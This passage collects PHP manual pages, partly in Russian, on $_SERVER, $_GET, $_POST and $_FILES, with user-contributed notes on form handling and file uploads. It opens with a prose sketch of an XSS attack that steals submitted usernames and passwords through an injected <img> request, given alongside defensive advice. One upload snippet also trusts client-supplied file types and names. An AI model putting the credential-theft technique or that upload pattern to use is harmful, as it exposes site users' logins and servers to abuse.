The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an <img> tag an external file, with the submitted username and password as parameters.

Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
info at mtprod dot com 23-Jan-2009 02:13
On Windows IIS 7 you must use $_SERVER['LOCAL_ADDR'] rather than $_SERVER['SERVER_ADDR'] to get the server's IP address.
jonbarnett at gmail dot com 23-Nov-2008 09:13
It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent:

If the browser sends an HTTP request header of:
X-Debug-Custom: some string

Then:

<?php
$_SERVER['HTTP_X_DEBUG_CUSTOM']; // "some string"
?>

There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers.

Works in PHP5 on Apache with mod_php.  Don't know if this is true from other environments.
Tonin 16-Sep-2008 10:43
When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive.  If it is On, this variable will always have the apache ServerName value.  If it is Off, it will have the value given by the headers sent by the browser.

Depending on what you want to do the content of this variable, put in On or Off.
silverquick at gmail dot com 05-Aug-2008 05:55
I think the HTTPS element will only be present under Apache 2.x. It's not in the list of "special" variables here:
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond
But it is here:
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond


Переменные HTTP GET

  • « $_SERVER
  • $_POST »
  • PHP Manual
  • Предопределённые переменные
  • Переменные HTTP GET

$_GET

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_GET — Переменные HTTP GET

Описание

Ассоциативный массив переменных, переданных скрипту через параметры URL (известные также как строка запроса). Обратите внимание, что массив не только заполняется для GET-запросов, а скорее для всех запросов со строкой запроса.

Примеры

Пример #1 Пример использования $_GET

<?php
echo 'Привет, ' . htmlspecialchars($_GET["name"]) . '!';
?>

Подразумевается, что пользователь ввёл в браузере адрес http://example.com/?name=Иван

Результатом выполнения данного примера будет что-то подобное:

Привет, Иван!

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Замечание:

Параметры GET обрабатываются urldecode().

Смотрите также

  • Переменные извне PHP
  • Фильтрация данных

User Contributed Notes

There are no user contributed notes for this page.


Переменные HTTP POST

  • « $_GET
  • $_FILES »
  • PHP Manual
  • Предопределённые переменные
  • Переменные HTTP POST

$_POST

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_POST — Переменные HTTP POST

Описание

Ассоциативный массив данных, переданных скрипту через HTTP методом POST при использовании application/x-www-form-urlencoded или multipart/form-data в заголовке Content-Type запроса HTTP.

Примеры

Пример #1 Пример использования $_POST

<?php
echo 'Привет ' . htmlspecialchars($_POST["name"]) . '!';
?>

Подразумевается, что пользователь отправил через POST name=Иван

Результатом выполнения данного примера будет что-то подобное:

Привет, Иван!

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • Обработка внешних переменных
  • Фильтрация данных

User Contributed Notes

php (at) vxvr /dot de 03-Jan-2021 04:13
If you want to receive application/json post data in your script you can not use $_POST. $_POST does only handle form data.
Read from php://input instead. You can use fopen or file_get_contents.

Example:

<?php
// Get the JSON contents
$json = file_get_contents('php://input');

// decode the json data
$data = json_decode($json);
 ?>
woodhavenbp at yahoo dot com 15-Jul-2016 04:21
There's an earlier note here about correctly referencing elements in $_POST which is accurate.  $_POST is an associative array indexed by form element NAMES, not IDs.  One way to think of it is like this:  element "id=" is for CSS, while element "name=" is for PHP.  If you are referring to your element ID in the POST array, it won't work.  You must assign a name attribute to your element to reference it correctly in the POST array.  These two attributes can be the same for simplicity, i.e.,
<input type="text" id="txtForm" name="txtForm">...</input>
darren_wheatley at hotmail dot com 13-Aug-2015 03:08
I know it's a pretty basic thing but I had issues trying to access the $_POST variable on a form submission from my HTML page. It took me ages to work out and I couldn't find the help I needed in google. Hence this post.

Make sure your input items have the NAME attribute. The id attribute is not enough! The name attribute on your input controls is what $_POST uses to index the data and therefore show the results.
CXJ 10-Mar-2014 08:18
Note that $_POST is NOT set for all HTTP POST operations,  but only for specific types of POST operations.  I have not been able to find documentation, but here's what I've found so far.

$_POST _is_ set for:

Content-Type: application/x-www-form-urlencoded

In other words,  for standard web forms.

$_POST is NOT set for:

Content-Type:text/xml

A type used for a generic HTTP POST operation.
james dot ellis at gmail dot com 14-Dec-2008 05:38
One feature of PHP's processing of POST and GET variables is that it automatically decodes indexed form variable names.

I've seem innumerable projects that jump through extra & un-needed processing hoops to decode variables when PHP does it all for you:

Example pseudo code:

Many web sites do this:

<form ....>
<input name="person_0_first_name" value="john" />
<input name="person_0_last_name" value="smith" />
...

<input name="person_1_first_name" value="jane" />
<input name="person_1_last_name" value="jones" />
</form>

When they could do this:

<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>

With the first example you'd have to do string parsing / regexes to get the correct values out so they can be married with other data in your app... whereas with the second example.. you will end up with something like:
<?php
var_dump($_POST['person']);
//will get you something like:
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>

This is invaluable when you want to link various posted form data to other hashes on the server side, when you need to store posted data in separate "compartment" arrays or when you want to link your POSTed data into different record handlers in various Frameworks.

Remember also that using [] as in index will cause a sequential numeric array to be created once the data is posted, so sometimes it's better to define your indexes explicitly.
paul at youngish dot homelinux^org 08-Dec-2008 01:09
For a page with multiple forms here is one way of processing the different POST values that you may receive.  This code is good for when you have distinct forms on a page.  Adding another form only requires an extra entry in the array and switch statements.

<?php

 if (!empty($_POST))
 {
    // Array of post values for each different form on your page.
    $postNameArr = array('F1_Submit', 'F2_Submit', 'F3_Submit');

    // Find all of the post identifiers within $_POST
    $postIdentifierArr = array();

    foreach ($postNameArr as $postName)
    {
        if (array_key_exists($postName, $_POST))
        {
             $postIdentifierArr[] = $postName;
        }
    }

    // Only one form should be submitted at a time so we should have one
    // post identifier.  The die statements here are pretty harsh you may consider
    // a warning rather than this.
    if (count($postIdentifierArr) != 1)
    {
        count($postIdentifierArr) < 1 or
            die("\$_POST contained more than one post identifier: " .
               implode(" ", $postIdentifierArr));

        // We have not died yet so we must have less than one.
        die("\$_POST did not contain a known post identifier.");
    }

    switch ($postIdentifierArr[0])
    {
    case 'F1_Submit':
       echo "Perform actual code for F1_Submit.";
       break;

    case 'Modify':
       echo "Perform actual code for F2_Submit.";
       break;

    case 'Delete':
       echo "Perform actual code for F3_Submit.";
       break;
    }
}
else // $_POST is empty.
{
    echo "Perform code for page without POST data. ";
}
?>


Переменные файлов, загруженных по HTTP

  • « $_POST
  • $_REQUEST »
  • PHP Manual
  • Предопределённые переменные
  • Переменные файлов, загруженных по HTTP

$_FILES

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_FILES — Переменные файлов, загруженных по HTTP

Описание

Ассоциативный массив (array) элементов, загруженных в текущий скрипт через метод HTTP POST. Структура этого массива описана в разделе Загрузка файлов методом POST.

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • move_uploaded_file() - Перемещает загруженный файл в новое место
  • Загрузка файлов на сервер

User Contributed Notes

sabeerbikba02 at gmail dot com 08-Nov-2023 04:00
Error code returned in $_FILES['userfile']['error'].

¦UPLOAD_ERROR_OK, value 0, means no error occurred.
 ¦ UPLOAD_ERR_INI_SIZE, value 1, means that the size of the uploaded file exceeds the
maximum value specified in your php.ini file with the upload_max_filesize directive.
 ¦ UPLOAD_ERR_FORM_SIZE, value 2, means that the size of the uploaded file exceeds the
maximum value specified in the HTML form in the MAX_FILE_SIZE element.
 ¦ UPLOAD_ERR_PARTIAL, value 3, means that the file was only partially uploaded.
 ¦ UPLOAD_ERR_NO_FILE, value 4, means that no file was uploaded.
 ¦ UPLOAD_ERR_NO_TMP_DIR, value 6, means that no temporary directory is specified in the
php.ini.
 ¦ UPLOAD_ERR_CANT_WRITE, value 7, means that writing the file to disk failed.
 ¦ UPLOAD_ERR_EXTENSION, value 8, means that a PHP extension stopped the file upload
process.
ASchmidt at Anamera dot net 07-Jun-2021 07:56
The attached "new FILES_flattened" class flattens the $_FILES array, for any combination of "single" files, multi-file arrays with given indices [i] or multi-file array with [] indices, even multi-level multi-file arrays [i][j]...[n].

An additional element "pos" in the flattened array will hold the "node path" for each file of a multi-file array, e.g. 'pos' => [ i, j ], so that it can be used for proper disposition of the file in database array, or for creating automated names that append each index level.

Most importantly, the HTML input "name" property and all other information remains fully intact.

HTML <form> snippet:
 <input type="hidden" name="MAX_FILE_SIZE" value="2500000" title="Permitted bytes per file." />
 <input type="file" name="pictures[4]" accept="image/*"/>
 <input type="file" name="thumb" accept="image/*" />
 <input type="file" name="pictures[]" accept="image/*" />
 <input type="file" name="pictures[10][5]" accept="image/*" />
 <input type="file" name="pictures[17]" accept="image/*" />

Result :
A flat array, one element per <input> field, each will have this structure:

...
'pictures' => array (size=6)
  'name' => 'ClientFilename.jpg'
  'type' => 'image/jpeg' (
  'tmp_name' => '...\php8D2C.tmp'
  'error' => 0
  'size' => 1274994
  'pos' => array (size=2)
      0 => 10
      1 => 5
...

with nothing more than a simple foreach:

<?php
foreach( new RecursiveIteratorIterator( new FILES_flattened ) as $key => $data ) {
    var_dump( $key, $data );

    // Here's how to use the "pos" element, to generate an automated name
    // that incorporates the "node path", e.g. "picture[10][5]"
    echo $key.( empty( $data[ 'pos' ] ) ? '' : '['. implode( '][', $data[ 'pos' ] ) . ']' );
}
ASchmidt at Anamera dot net 07-Jun-2021 07:50
Comprehensive iterator for direct "flat" access for any-level arrayed <input>, in any combination:

<?php
foreach( new RecursiveIteratorIterator( new FILES_flattened ) as $key => $data ) {
    var_dump( $key, $data );
    // Here's how to generate an automated name that incorporates the "node path", e.g. "picture[10][5]"
    echo $key.( empty( $data[ 'pos' ] ) ? '' : '['. implode( '][', $data[ 'pos' ] ) . ']' );
}

class FILES_flattened implements RecursiveIterator
{
    protected $list_array;
    protected $basename;
    protected $current;

    public function __construct()
    {
        $this->list_array = $_FILES;
    }

    public function rewind(): void
    {
        if ( false === $current = reset( $this->list_array ) or null === $this->basename = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }

        $current[ 'pos' ] = array();
        $this->current = $current;
    }

    public function next(): void
    {
        if ( false === $current = next( $this->list_array ) or null === $this->basename = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }

        $current[ 'pos' ] = array();
        $this->current = $current;
    }

    public function valid(): bool
    {
        return null !== key( $this->list_array );        // End of array (inc. empty array).
    }

    public function hasChildren(): bool
    {
        return is_array( $this->current[ 'name' ] );
    }

    public function getChildren(): FILES_nested
    {
        return new FILES_nested( $this->basename, $this->current );
    }

    public function current()
    {
        return $this->current;
    }

    public function key()
    {
        return $this->basename;
    }
}

class FILES_nested extends FILES_flattened implements RecursiveIterator
{
    private $node_array;
    private $position;

    public function __construct( string $basename, array $node_array )
    {
        $this->basename = $basename;
        $this->list_array = $node_array[ 'name' ];

        $this->position = $node_array[ 'pos' ];
        unset( $node_array[ 'pos' ] );

        $this->node_array = $node_array;
    }

    public function rewind(): void
    {
        if ( false === reset( $this->list_array ) or null === $key = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }
        $this->current = $this->normalize( $key );
    }

    public function next(): void
    {
        if ( false === next( $this->list_array ) or null === $key = key( $this->list_array ) ) {
            $this->current = null;
            return;
        }
        $this->current = $this->normalize( $key );
    }

    private function normalize( $key ): array
    {
        $normalized = array_combine( array_keys( $this->node_array ), array_column( $this->node_array, $key) );

        $position = $this->position;
        $position[] = $key;

        $normalized[ 'pos' ] = $position;
        return $normalized;
    }
}
emre 14-Mar-2021 09:21
this is frustrating that the explanations redirected by anchors are providing unsufficient information or even worst is provide nothing. instead, looking for people to make the resources locale, you MUST provide approprate documentation for everybody.
ymlmau at gmail dot com 23-Feb-2021 05:17
Best way to check if $_FILES is empty or not is to check if the name of the index 0 is set.

<?php
if ($_FILES['fieldname']['name'][0] != ""){
 //Code goes here!
}
?>
dariusakafest at gmail dot com 27-Nov-2019 12:30
Good normalized the $_FILES array so

function getRequestFiles()
 {
        $result = array();

        if (is_array($_FILES)) {
            foreach($_FILES as $name => $fileArray) {
                $row = array();
                foreach ($fileArray as $key => &$data) {
                    findNoArrayElementAndReplace($data, $key);
                    $row = array_merge_recursive($row, $data);
                }
                $result[$name] = $row;
            }
        }

        return $result;
}

function findNoArrayElementAndReplace(&$array, $key)
 {
        if (is_array($array)) {
            foreach ($array as &$item) {
                findNoArrayElementAndReplace($item, $key);
            }
        } else {
            $array = array(
                $key => $array
            );
        }
}
poppy gloria 09-Jun-2019 05:11
For uploading only one file,  my version, that checks if the file is uploaded.

function processForm($messages) {
        if ($_FILES['file']["error"] == UPLOAD_ERR_OK ) {
    if($_FILES['file']['type'] != "text/csv" && $_FILES['file']['type'] != "application/vnd.ms-excel") {
                $messages->add_error('Wrong format.');
                return false;
    }
elseif ( !move_uploaded_file( $_FILES['file']["tmp_name"], "files/" .
basename( $_FILES['file']["name"] ) ) ) {
                $messages->add_error('Upload failed');
                return false;
                }
        }
       else {
    $messages->add_error("Something went wrong.");
    return false;
       }
    return true;
}

if (isset($_POST['btnUpload'])) {
    if(is_uploaded_file($_FILES['file']['tmp_name'])) {
         if (processForm($messages)) {
                $fileName = "files/" . basename($_FILES['file']['name']);
                parseAndInsert($fileName, $db);
                $messages->add_message("Success");
            }
            }
    else {
        $messages->add_error('File did not upload');
    }
}

function parseAndInsert($fileName, $db) {
        $file = fopen($fileName, "r");
        while($line = fgetcsv($file, 1000, ";")) {
            $db->addGrade(intval($line[0]), intval($line[1]), intval($line[2]));
        }
    fclose($file);
    }
tuomas dot piispanen at gmail dot com 07-Sep-2017 10:36
Here's a function that I have used to get a nice simple array of all incoming files from a page. It basically just flattens the $FILES array. This function works on many file inputs on the page and also if the inputs are '<input type="file[]" multiple>'. Note that this function loses the file input names (I usually process the files just by type).

<?php

function incoming_files() {
    $files = $_FILES;
    $files2 = [];
    foreach ($files as $input => $infoArr) {
        $filesByInput = [];
        foreach ($infoArr as $key => $valueArr) {
            if (is_array($valueArr)) { // file input "multiple"
                foreach($valueArr as $i=>$value) {
                    $filesByInput[$i][$key] = $value;
                }
            }
            else { // -> string, normal file input
                $filesByInput[] = $infoArr;
                break;
            }
        }
        $files2 = array_merge($files2,$filesByInput);
    }
    $files3 = [];
    foreach($files2 as $file) { // let's filter empty & errors
        if (!$file['error']) $files3[] = $file;
    }
    return $files3;
}

$tmpFiles = incoming_files();

?>

will transform this:

Array
(
    [files1] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [files2] => Array
        (
            [name] => Array
                (
                    [0] => facepalm2.jpg
                    [1] => facepalm3.jpg
                )

            [type] => Array
                (
                    [0] => image/jpeg
                    [1] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/phpJutmOS
                    [1] => /tmp/php9bNI8F
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 78085
                    [1] => 61429
                )

        )

)

into this:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [1] => Array
        (
            [name] => facepalm2.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpJutmOS
            [error] => 0
            [size] => 78085
        )

    [2] => Array
        (
            [name] => facepalm3.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php9bNI8F
            [error] => 0
            [size] => 61429
        )

)
mike dot reiche at tyclipso dot net 09-Aug-2017 12:43
I normalized the $_FILES array to

[doc] => Array
        (
            [0] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/php6wHXmC
                    [error] => 0
                    [size] => 4
                )

            [affe] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/phpfiHK2e
                    [error] => 0
                    [size] => 4
                )

        )

<?php
function getFiles() {
    $result = array();
    foreach($_FILES as $name => $fileArray) {
        if (is_array($fileArray['name'])) {
            foreach ($fileArray as $attrib => $list) {
                foreach ($list as $index => $value) {
                    $result[$name][$index][$attrib]=$value;
                }
            }
        } else {
            $result[$name][] = $fileArray;
        }
    }
    return $result;
}
?>

So yo have always the same structure, even if you post one ore more files:

<?php
//single file
$request->addFileFromLocalFilePath('doc','testfile.txt');

// multiple files
$request->addFileFromLocalFilePath('doc[0]','testfile.txt');
$request->addFileFromLocalFilePath('doc[affe]','testfile.txt');

foreach ($request->getFiles() as $fieldName => $files) {
    foreach ($files as $index => $fileArray) {
        echo $fileArray['tmp_name'];
    }
}

?>
Jack Sleight 10-Nov-2015 12:05
I've written this function to restructure deeply nested $_FILES arrays, so that the parameters for each file are grouped together.

function restructure_files(array $input)
{
    $output = [];
    foreach ($input as $name => $array) {
        foreach ($array as $field => $value) {
            $pointer = &$output[$name];
            if (!is_array($value)) {
                $pointer[$field] = $value;
                continue;
            }
            $stack = [&$pointer];
            $iterator = new \RecursiveIteratorIterator(
                new \RecursiveArrayIterator($value),
                \RecursiveIteratorIterator::SELF_FIRST
            );
            foreach ($iterator as $key => $value) {
                array_splice($stack, $iterator->getDepth() + 1);
                $pointer = &$stack[count($stack) - 1];
                $pointer = &$pointer[$key];
                $stack[] = &$pointer;
                if (!$iterator->hasChildren()) {
                    $pointer[$field] = $value;
                }
            }
        }
    }
    return $output;
}

Turns this:

array (size=2)
  'one' =>
    array (size=5)
      'name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'DM4C2738.jpg' (length=12)
              5 => string 'DM4C2760.jpg' (length=12)
      'type' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'image/jpeg' (length=10)
              5 => string 'image/jpeg' (length=10)
      'tmp_name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string '/private/var/tmp/phploOZRb' (length=26)
              5 => string '/private/var/tmp/phpsFkmIh' (length=26)
      'error' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 0
              5 => int 0
      'size' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 1031601
              5 => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422

Into this:

array (size=2)
  'one' =>
    array (size=1)
      'inner' =>
        array (size=2)
          11 =>
            array (size=5)
              'name' => string 'DM4C2738.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phploOZRb' (length=26)
              'error' => int 0
              'size' => int 1031601
          5 =>
            array (size=5)
              'name' => string 'DM4C2760.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phpsFkmIh' (length=26)
              'error' => int 0
              'size' => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422
kennyp33 at gmail dot com 14-Jul-2015 12:46
If you are getting NULL values and want to see what error is being returned you can add ' 2>&1' to the end of your command. On a linux server this will redirect the stderr to stdout (so the string error will be output). This probably saved me a ton of time.
scohen987 at gmail dot com 14-Nov-2014 09:49
see http://php.net/manual/en/features.file-upload.post-method.php for documentation of the $_FILES array, which is what I came to this page for in the first place.
Jmanuel_castillo_exe at yahoo dot com 06-Jun-2014 04:18
I spent 3 hours trying to find out why when I upload multiples file $_FILES  return empty, I did noticed it was only when I select files that exceed 3m so I thought it was something related to the MAX_UPLOAD_SIZE that for my surprice came as default as 20m which was very confusing. Later I discovery the problem was in the POST_MAX_SIZE been 3m, so it happen that not only MAX_UPLOAD_SIZE is responsible and that is why I'd like to know there is no error message that shows the cause.
brian at diamondsea dot com 16-Mar-2014 06:11
If you are looking for the $_FILES['error'] code explanations, be sure to read:

Handling File Uploads - Error Messages Explained
http://www.php.net/manual/en/features.file-upload.errors.php
delete dot this dot and dot dots dot gt at kani dot hu 10-Mar-2014 04:29
Here is my version of $_FILES rearrange. Unlike other codes here, this working well on any depth of $_FILES.
<?php
if (!empty($_FILES)) {
    function rearrange_files_array(array $array) {
        foreach ($array as &$value) {
            $_array = array();
            foreach ($value as $prop => $propval) {
                if (is_array($propval)) {
                    array_walk_recursive($propval, function(&$item, $key, $value) use($prop) {
                        $item = array($prop => $item);
                    }, $value);
                    $_array = array_replace_recursive($_array, $propval);
                } else {
                    $_array[$prop] = $propval;
                }
            }
            $value = $_array;
        }
        return $array;
    }
    echo '<pre>'.print_r(rearrange_files_array($_FILES), true).'</pre>';
}
?>
<form method="post" enctype="multipart/form-data" style="clear: both;">
    <h3>upload1</h3>
    <div><label>new0</label><input type="file" name="upload1[new][]" /></div>
    <div><label>new1</label><input type="file" name="upload1[new][]" /></div>
    <div><label>update.id11</label><input type="file" name="upload1[update][id11]" /></div>
    <div><label>update.id12</label><input type="file" name="upload1[update][id12]" /></div>
    <hr />
    <h3>upload2</h3>
    <div><label>new0</label><input type="file" name="upload2[]" /></div>
    <div><label>new1</label><input type="file" name="upload2[]" /></div>
    <div><label>update.id21</label><input type="file" name="upload2[id21]" /></div>
    <div><label>update.id22</label><input type="file" name="upload2[id22]" /></div>
    <hr />
    <div><label>upload3</label><input type="file" name="upload3" /></div>
    <input type="submit" value="go" />
</form>

The output after empty form is posted:
Array
(
    [upload1] => Array
        (
            [new] => Array
                (
                    [0] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [1] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
            [update] => Array
                (
                    [id11] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [id12] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
        )
    [upload2] => Array
        (
            [0] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [1] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id21] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id22] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
        )
    [upload3] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] => 0
        )
)
badandyomega at gmail dot com 10-Jan-2014 01:27
Others have posted about how the $_FILES array organizes data differently depending on whether the HTML input is a single or multiple type, so it seems to be a common enough problem.  If for some reason you need to mix-and-match the types, or you're not sure which how many files you'll be expecting from a multiple input, this is a very useful way to reorganize the $_FILES array.  Also, unlike some of the earlier posts, the formatting of the new array (i.e. the number of keys and values) is consistent.

<?php
// Reorganize $_FILES array information
$files = Array ();
$i = 0;

// Start with all inputs in $_FILES array
foreach ($_FILES as $input)
{
    $j = 0;

    foreach ($input as $property => $value)
    {
        if (is_array($value))
        {
            $j = count($value); // Number of iterations

            for ($k = 0; $k < $j; ++$k)
            {
                $files[$i + $k][$property] = $value[$k];
            }
        }
        else
        {
            $j = 1;

            $files[$i][$property] = $value;
        }
    }

    $i += $j;
}
?>

The results will look something like this:
$files = Array (
   [0] => Array (
      [name] => ''
      [type] => ''
      [tmp_name] => ''
      [error] => 0
      [size] => 0
   )
)
phazei at gmail dot com 09-Oct-2013 12:51
I realize there are a number of posts here for reformating the php $_FILES array, but they don't handle all cases.  This handles the single case, the multiple file case, and even submitting multiple file arrays.  This way no matter what, before ever touching the files array I call this regardless of what it might be:

<?php
    /**
     * This is to fix the odd files array PHP creates when a file input has a name that's php array:
     * eg: <file name="model[column]" value='file1'> <file name="model[column2][]" value='file2'>
     * becomes:  $_FILES['model']['name'][column] = file1_name.xxx
     *           $_FILES['model']['name'][column2][0] = file2_name.xxx
     *
     * this changes it to:
     *           $files['model'][column]['name'] = file1_name.xxx
     *           $files['model'][column2][0]['name'] = file2_name.xxx
     *
     * This way the file data is grouped together as expected and as it does with a non-array type name attribute
     */
    static public function multi_file_fix($files = null)
    {

        if ($files == null) {
            $files = (is_array($_FILES)) ? $_FILES : array();
        }

        //make there there is a file, and see if the first item is also an array
        $new_files = array();
        foreach ($files as $name => $attributes) {
            if (is_array(reset($attributes))) { //check first item
                foreach ($attributes as $attribute => $item) { //array file submit, eg name="model[file]"
                    foreach ($item as $key => $value) {
                        if (is_array($value)) {
                            foreach ($value as $key2 => $sub_val) { // multi-array file submit, eg name="model[file][]"
                                $new_files[$name][$key][$key2][$attribute] = $sub_val;
                            }
                        } else {
                            $new_files[$name][$key][$attribute] = $value;
                        }
                    }
                }
            } else { // regular file submit, eg name="file"
                $new_files[$name] = $attributes;
            }
        }

        return $new_files;
    }

//Usage:

$files = multi_file_fix($_FILES);

?>
sergio_ag at terra dot com dot br 05-Sep-2012 08:09
A nice trick to reorder the $_FILES array when you use a input name as array is:

<?php
function diverse_array($vector) {
    $result = array();
    foreach($vector as $key1 => $value1)
        foreach($value1 as $key2 => $value2)
            $result[$key2][$key1] = $value2;
    return $result;
}
?>

will transform this:

array(1) {
    ["upload"]=>array(2) {
        ["name"]=>array(2) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
        }
        ["type"]=>array(2) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/html"
        }
    }
}

into:

array(1) {
    ["upload"]=>array(2) {
        [0]=>array(2) {
            ["name"]=>string(9)"file0.txt"
            ["type"]=>string(10)"text/plain"
        },
        [1]=>array(2) {
            ["name"]=>string(9)"file1.txt"
            ["type"]=>string(10)"text/html"
        }
    }
}

just do:

<?php $upload = diverse_array($_FILES["upload"]); ?>
sparticvs at popebp dot com 01-Sep-2012 08:59
A note of security: Don't ever trust $_FILES["image"]["type"]. It takes whatever is sent from the browser, so don't trust this for the image type.  I recommend using finfo_open (http://www.php.net/manual/en/function.finfo-open.php) to verify the MIME type of a file. It will parse the MAGIC in the file and return it's type...this can be trusted (you can also use the "file" program on Unix, but I would refrain from ever making a System call with your PHP code...that's just asking for problems).
tjbp 04-Aug-2012 09:46
For quick debugging (eg. var_dump($_FILES);), these are the values of the error constants. Obviously don't use these for comparison in real code.

UPLOAD_ERR_OK: 0
UPLOAD_ERR_INI_SIZE: 1
UPLOAD_ERR_FORM_SIZE: 2
UPLOAD_ERR_NO_TMP_DIR: 6
UPLOAD_ERR_CANT_WRITE: 7
UPLOAD_ERR_EXTENSION: 8
UPLOAD_ERR_PARTIAL: 3
seifert at alesak dot net 02-Jul-2012 02:02
I just spent long time debugging strange behavior of one of our application on new webhosting. We have 30 file inputs on one page for upload to server. Problem was that only 20 was actually uploaded.

Now I found there is an option max_file_uploads in php.ini limiting maximum size of $_FILES to 20 by default.

When you have suhosin extension installed it has own option limiting same thing to 25 (suhosin.upload.max_uploads in php.ini)
Alexandre Teles 20-May-2012 04:31
You can check error index this way:

<?php

$errorIndex = $_FILES["file"]["error"];

if ($errorIndex > 0) {
    die('We have a error. Try Again.');
}

processFile();

?>
yuriy dot nayda at gmail dot com 15-Mar-2012 04:49
THis is an solution to convert Cyrillic and umlaut characters as file name when uplaoding files into needed encoding. Was searching for it but could not find. Thus posting this. Just like this:

$value = mb_convert_encoding($value, "UTF-8");
BigShark666 at gmail dot com 21-Nov-2011 10:51
Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look.
<?php
function multiple(array $_files, $top = TRUE)
{
    $files = array();
    foreach($_files as $name=>$file){
        if($top) $sub_name = $file['name'];
        else    $sub_name = $name;

        if(is_array($sub_name)){
            foreach(array_keys($sub_name) as $key){
                $files[$name][$key] = array(
                    'name'     => $file['name'][$key],
                    'type'     => $file['type'][$key],
                    'tmp_name' => $file['tmp_name'][$key],
                    'error'    => $file['error'][$key],
                    'size'     => $file['size'][$key],
                );
                $files[$name] = multiple($files[$name], FALSE);
            }
        }else{
            $files[$name] = $file;
        }
    }
    return $files;
}

print_r($_FILES);
/*
Array
(
    [image] => Array
        (
            [name] => Array
                (
                    [0] => 400.png
                )
            [type] => Array
                (
                    [0] => image/png
                )
            [tmp_name] => Array
                (
                    [0] => /tmp/php5Wx0aJ
                )
            [error] => Array
                (
                    [0] => 0
                )
            [size] => Array
                (
                    [0] => 15726
                )
        )
)
*/
$files = multiple($_FILES);
print_r($files);
/*
Array
(
    [image] => Array
        (
            [0] => Array
                (
                    [name] => 400.png
                    [type] => image/png
                    [tmp_name] => /tmp/php5Wx0aJ
                    [error] => 0
                    [size] => 15726
                )
        )
)
*/
?>
kbolyshev at gmail dot com 18-Nov-2011 04:39
For situation download[file1], download[file2], ..., download[fileN], try it:

<?php

/**
 *
